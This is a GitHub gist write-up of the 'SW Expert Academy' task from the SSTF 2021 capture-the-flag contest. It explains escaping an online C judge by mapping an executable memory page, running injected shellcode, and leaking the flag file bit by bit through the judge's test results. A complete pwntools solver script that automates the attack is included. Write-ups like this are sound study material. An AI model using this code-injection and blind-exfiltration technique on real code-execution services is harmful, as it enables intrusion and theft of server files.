Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active August 18, 2021 07:41
Show Gist options
  • Select an option

  • Save Stfort52/5ca32102c4656219c43821bf1a716f6f to your computer and use it in GitHub Desktop.

Select an option

Save Stfort52/5ca32102c4656219c43821bf1a716f6f to your computer and use it in GitHub Desktop.
Write-up for the web/pwn task from Samsung Hacker's playground 2021

SSTF 2021 SW Expert Academy

This is a write-up for the web? and pwning task SW Expert Academy from SSTF 2021

Analysis

In this problem we are given a website that presents an algorithm problem. In short, its about calculating a chance of winning in a dice game, where two 6-faced dices are given. For example, when a dice with faces 3, 4, 3, 4, 3, 4 and the other dice with 1, 1, 1, 1, 8, 9 are given, the program should print out 2/3 which is the chance of the first dice winning.

Actually, this is not really a coding challenge, as there are only three fixed test cases which are given as examples. The three test cases are given below.

Dice 1 Faces Dice 2 Faces Expected Answer
3 4 3 4 3 4 1 1 1 1 8 9 2/3
1 2 3 4 5 6 3 4 3 4 3 4 5/12
1 2 3 4 5 6 8 7 2 2 1 1 1/2

In this challenge, we are required to fill in the C code in a template like below.

#include <stdio.h>
int main() {
    // Your Code will be placed here!
    
    puts("Hello world");
    
    // Did you enjoy the problem solving?
    return 0;
}
      

The C code that we filled in is then compiled with gcc.

gcc -o binary code.c -std=c99

Then, it's tested against those fixed inputs. Based on the error message, it works like this.

{"error":"Error: Command failed: bash -c /tmp/sf5PnmqSW5.bin < /server/input1.txt\n"}

Solution

It's pretty obvious that we have to get arbitrary code execution. But it is tricky to inject arbitrary C code as the preprocessor directives are banned. Therefore I tried to go with arbitrary shellcode execution by getting a RWX page to use.

Before that, I called printf("1/%d", sizeof(void *)/2) to find out the word size. Of course, there were no -m32 flag on the gcc command line, but I just tried to make sure about it.

This can be accomplished by calling mmap(). We cannot just include <sys/mman.h> as we cannot write any preprocessor directives. Therefore, the exploit vector can be summarized like this.

#include <stdio.h>
int main() {
    // Your Code will be placed here!
    
    char yikes[] = "<hex-encoded shellcode here>";
    char * k = mmap(0, 0x1000, 7, 0x22, -1 ,0);
    for(int i=0; i<sizeof(yikes); i++)
        k[i] = yikes[i];
    ((void(*)())k)();
    
    // Did you enjoy the problem solving?
    return 0;
}

However, this didn't work. As we are not including sys/mman.h, the return type of mmap() is expected to be int. This triggers an implicit type conversion, inserting a cdqe right after mmap() call. Of course, this ruins the address returned by mmap(). To compensate that, I fixed the address to keep it in the 32-bit int range.

#include <stdio.h>
int main() {
    // Your Code will be placed here!
    
    char yikes[] = "<hex-encoded shellcode here>";
    char * k = mmap(0x1234000, 0x1000, 7, 0x32, -1 ,0);
    for(int i=0; i<sizeof(yikes); i++)
        k[i] = yikes[i];
    ((void(*)())k)();
    
    // Did you enjoy the problem solving?
    return 0;
}

As you can see, giving the address hint and adding MMAP_FIXED solves the problem.

Then we have to design a shellcode to access the flag in the remote server. I tried to open a reverse and bind shell on the remote server, but it didn't work out well.

Instead, I decided to blind the flag bit by bit. This is the code that I used to blind the flag.

sh = ""
sh += "pop r15\n"
sh += shellcraft.open(FLAGFILE)
sh += shellcraft.read(fd="rax", count=FLAG_LEN)
sh += "xor rax, rax\n"
sh += "mov rsi, rsp\n"
sh += f"add rsi, {byteoffset}\n"
sh += f"lodsb\n"
sh += "mov rbx, 1\n"
sh += f"sal rbx, {bitoffset}\n"
sh += "and rax, rbx\n"
sh += "jz twothree\n"
sh += "onetwo:\n"
sh += shellcraft.echo("1/2\n")
sh += "jmp epilogue\n"
sh += "twothree:\n"
sh += shellcraft.echo("2/3\n")
sh += "epilogue:\n"
sh += "push r15\n"
sh += shellcraft.ret()

In short, we open the flag and read that on the stack, and extract a bit of a flag by masking.

We then compare the result with zero, and print 1/2 if the given bit is 1 and 2/3 if not. When we output the prior, the server should respond with [false, false, true] and [true, false, false] in the case of the latter, as you can imagine.

I also added pop r15 and push r15, ret, so that we can properly return to the correct context. This is necessary because we need to make it exit normally to see the result. Adding syscall exit() could also be a potential solution, but I found this method to be the easiest one.

The name of the flag file was not given, but one of my teammates managed to guess it out - flag.txt. The existence of the file could be easily tested by checking the return of the open() system call, using the similar shellcode presented.

Combining everything above, I could query every single bit of the flag. The server was a bit buggy, so I inserted a 10-second delay every 8 bits worth of request. The detailed exploit code can be found in the attached solver.py.

from pwn import *
from sys import argv
import requests
context.arch = "AMD64"
context.os = "linux"
FLAG_LEN: int = 100
FLAGFILE: str = "flag.txt"
URI: str = 'http://swexpertacademy.sstf.site/code'
# URI: str = "http://swexpertacademy2.sstf.site/code'
template = """
char yikes[] = "{yeet}";
char * k = mmap(0x1234000, 0x1000, 7, 0x32, -1 ,0);
for(int i=0; i<sizeof(yikes); i++)
k[i] = yikes[i];
((void(*)())k)();
"""
def get_bit_shellcode(byteoffset: int, bitoffset: int) -> str:
sh = ""
sh += "pop r15\n"
sh += shellcraft.open(FLAGFILE)
sh += shellcraft.read(fd="rax", count=FLAG_LEN)
sh += "xor rax, rax\n"
sh += "mov rsi, rsp\n"
sh += f"add rsi, {byteoffset}\n"
sh += f"lodsb\n"
sh += "mov rbx, 1\n"
sh += f"sal rbx, {bitoffset}\n"
sh += "and rax, rbx\n"
sh += "jz twothree\n"
sh += "onetwo:\n"
sh += shellcraft.echo("1/2\n")
sh += "jmp epilogue\n"
sh += "twothree:\n"
sh += shellcraft.echo("2/3\n")
sh += "epilogue:\n"
sh += "push r15\n"
sh += shellcraft.ret()
return sh
def CXEncode(shellcode: bytes) -> str:
return "\\x" + "\\x".join(map(lambda x: hex(0x100+x)[-2:], shellcode))
def get_bit_local(byteoffset: int, bitoffset: int) -> int:
shellcode = get_bit_shellcode(byteoffset, bitoffset)
recv = run_assembly(shellcode).recvall()
if b"1/2" in recv:
return 1
elif b"2/3" in recv:
return 0
else:
print(recv)
raise error("this is not possible!")
def get_bit(byteoffset: int, bitoffset: int) -> int:
shellcode = asm(get_bit_shellcode(byteoffset, bitoffset))
formdata = {"code": template.format(yeet=CXEncode(shellcode))}
resp = requests.post(URI, data=formdata)
result = resp.text[1:-1].split(",")
print(resp.text)
if result[0] == "true":
return 0
elif result[2] == "true":
print(1)
return 1
else:
raise error("Something went wrong on remote")
def get_flag(offset:int=0) -> None:
flag = ""
for i in range(offset,FLAG_LEN):
Byte = ""
for j in range(8):
bit = get_bit(i, j) # get_bit_local(i, j)
print(f"{i}, {j} : {bit}")
Byte += str(bit)
flag += chr(int(Byte[::-1],2))
print(flag)
sleep(0xa)
for i in flag:
print(hex(ord(i)))
if __name__ == "__main__":
if len(argv) > 1:
get_flag(int(argv[1]))
else:
get_flag()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment